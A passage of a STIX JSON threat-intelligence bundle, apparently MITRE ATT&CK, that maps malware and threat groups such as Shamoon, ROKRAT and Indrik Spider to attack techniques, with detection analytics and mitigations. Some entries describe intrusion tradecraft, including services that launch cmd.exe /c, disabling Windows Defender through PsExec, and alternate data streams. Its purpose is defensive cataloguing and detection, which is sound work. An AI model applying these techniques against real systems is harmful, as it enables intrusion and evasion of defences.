monstrous Frankenstein campaign. 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Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) has received files from C2 and stored them in log folders beginning with the character sequence `a9850d2f`.(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-07T18:05:19.253Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4e3a250d-c168-4544-82c5-3b1414be826d", "created": "2022-08-11T22:06:38.797Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "description": "Checkpoint Research. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has identified the IP address of a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T15:34:21.667Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4e3b7cf3-298e-4db2-a920-375abd50280d", "type": "relationship", "created": "2020-11-10T16:49:13.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos New Ryuk Attack October 2020", "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. 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(2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T17:05:58.389Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can utilize cmd.exe to execute commands in a victim's environment.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4e937803-036e-4e3c-9b42-14b8e241e487", "created": "2022-03-30T14:26:51.875Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Koczwara Beacon Hunting Sep 2021", "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}, {"source_name": "Mandiant SCANdalous Jul 2020", "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."}, {"source_name": "ThreatConnect Infrastructure Dec 2020", "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n", "modified": "2022-04-20T02:30:02.831Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4e949816-0200-45ed-b0c6-27afce63fd17", "type": "relationship", "created": "2020-01-28T14:05:17.955Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T18:12:36.833Z", "description": "Use multi-factor authentication for user and privileged accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4e95e37e-76a0-498e-b46e-73a4fb639d3a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 RGDoor Jan 2018", "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}], "modified": "2020-03-17T02:29:15.873Z", "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses HTTP for C2 communications.(Citation: Unit 42 RGDoor Jan 2018)", "relationship_type": "uses", "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "source_name": "Palo Alto Shamoon Nov 2016"}, {"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.", "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/", "source_name": "Unit 42 Shamoon3 2018"}], "modified": "2020-05-29T18:11:23.520Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload. Newer versions create the \"MaintenaceSrv\" and \"hdv_725x\" services.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ea07638-aca6-400b-9979-26b9002e990c", "created": "2021-11-29T16:31:50.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.081Z", "description": "[RCSession](https://attack.mitre.org/software/S0662) can capture screenshots from a compromised host.(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "malware--03acae53-9b98-46f6-b204-16b930839055", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4eb00375-3ee3-43c7-845a-2206e1eff114", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes RokRAT VBA January 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}, {"source_name": "Talos Group123", "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018."}, {"source_name": "NCCGroup RokRat Nov 2018", "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can check for debugging tools.(Citation: Talos Group123)(Citation: NCCGroup RokRat Nov 2018)(Citation: Malwarebytes RokRAT VBA January 2021)", "modified": "2022-04-18T13:47:06.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4eb0635f-1851-4516-a584-4d5ff3c2e078", "created": "2022-06-09T21:19:30.591Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can identify the OS version, CPU, and other details from a victim's machine.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-08-03T15:03:18.263Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4eb49eb3-c10c-4bbe-9921-b691ddba0b12", "type": "relationship", "created": "2022-03-30T14:26:51.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.848Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4eb5fba5-be97-4103-9b52-f77e02765fad", "type": "relationship", "created": "2020-03-17T16:17:15.348Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "modified": "2020-03-17T16:17:15.348Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. MAPIGET steals email still on Exchange servers that has not yet been archived.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ebab62f-3e2f-49b9-881d-26d2141d3e0b", "type": "relationship", "created": "2021-09-15T18:02:37.587Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}], "modified": "2021-10-15T16:06:38.799Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) used [PsExec](https://attack.mitre.org/software/S0029) to leverage Windows Defender to disable scanning of all downloaded files and to restrict real-time monitoring.(Citation: Symantec WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ebbf5d1-0205-4899-9d08-8a9601355c64", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft ADS Mar 2014", "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.", "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"}, {"source_name": "Oddvar Moe ADS1 Jan 2018", "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.", "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"}, {"source_name": "Oddvar Moe ADS2 Apr 2018", "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.", "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"}]}, {"type": "relationship", "id": "relationship--4ebc45da-6c79-4d9f-9c25-144ff55f70c9", "created": "2024-01-18T18:47:16.727Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}, {"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-19T20:58:41.440Z", "description": "[Ninja](https://attack.mitre.org/software/S1100) has the ability to enumerate directory content.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ebc7501-9471-4f37-92e1-8711073bd062", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "source_name": "Microsoft PLATINUM April 2016"}], "modified": "2019-05-10T12:14:32.234Z", "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) is capable of using Windows hook interfaces for information gathering such as credential access.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ebce143-6b85-4188-a8ea-010045c48bdd", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:38:03.079Z", "description": "Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nWindows runs the Service Control Manager (SCM) within the process services.exe. Windows launches services as independent processes or DLL loads within a svchost.exe group. To be a legitimate service, a process (or DLL) must have the appropriate service entry point SvcMain. If an application does not have the entry point, then it will timeout (default is 30 seconds) and the process will be killed.\n\nTo survive the timeout, adversaries and red teams can create services that direct to cmd.exe with the flag /c, followed by the desired command. The /c flag causes the command shell to run a command and immediately exit. As a result, the desired program will remain running and it will report an error starting the service. This analytic will catch that command prompt instance that is used to launch the actual malicious executable. Additionally, the children and descendants of services.exe will run as a SYSTEM user by default. \n\nNote: Create a baseline of services seen over the last 30 days and a list of services seen today. Remove services in the baseline from services seen today, leaving a list of new services. Returns all processes named cmd.exe that have services.exe as a parent process. Because this should never happen, the /c flag is redundant in the search.\n\nAnalytic 2 - Services launching CMD\n \n<code>  (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"*cmd.exe\" and ParantImage=\"*services.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ebeacbf-4f30-4f32-86dc-54d932ea7c46", "type": "relationship", "created": "2020-03-15T16:27:38.223Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-15T16:27:38.223Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto DNS Requests", "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}], "modified": "2020-03-20T18:24:23.303Z", "description": "Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.(Citation: Palo Alto DNS Requests)", "relationship_type": "uses", "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ecf2ecd-ae5a-417b-a6a7-9690fb83a282", "type": "relationship", "created": "2019-02-21T21:12:55.714Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT39 Jan 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019."}, {"source_name": "Dark Reading APT39 JAN 2019", "url": "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764", "description": "Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020."}], "modified": "2020-05-22T18:17:56.892Z", "description": "(Citation: FireEye APT39 Jan 2019)(Citation: Dark Reading APT39 JAN 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ed42682-d3ad-4a4f-8576-ccdf28ce642b", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.200Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) automatically collects data about the victim and sends it to the control server.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4ed458b0-e5cd-48c7-baba-a33ca84a8738", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT Volgmer 2 Nov 2017", "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"}], "modified": "2019-10-15T22:51:02.967Z", "description": "[Volgmer](https://attack.mitre.org/software/S0180) executes payloads using the Windows API call CreateProcessW().(Citation: US-CERT Volgmer 2 Nov 2017)", "relationship_type": "uses", "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ed53040-9e56-4069-b764-58598d8c497b", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:44:59.011Z", "description": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Windows security log Event ID 4624 (An account was successfully logged on) is generated when a user logs onto a remote machine using RDP.\n\nCorrelating logon session creation events with RDP network flows can provide a clearer picture of RDP activity and serve as a useful starting point for investigating suspicious RDP connections.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4eda0bd3-66e3-4773-9616-78ab8f60cbd5", "created": "2022-04-01T13:14:59.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes Hardening Guide", "description": "National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.", "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T16:07:57.205Z", "description": "Scan images before deployment, and block those that are not in compliance with security policies. In Kubernetes environments, the admission controller can be used to validate images after a container deployment request is authenticated but before the container is deployed.(Citation: Kubernetes Hardening Guide)", "relationship_type": "mitigates", "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4ee087c3-92d0-4886-bc90-167e7ab8926d", "created": "2021-09-29T15:56:23.634Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup 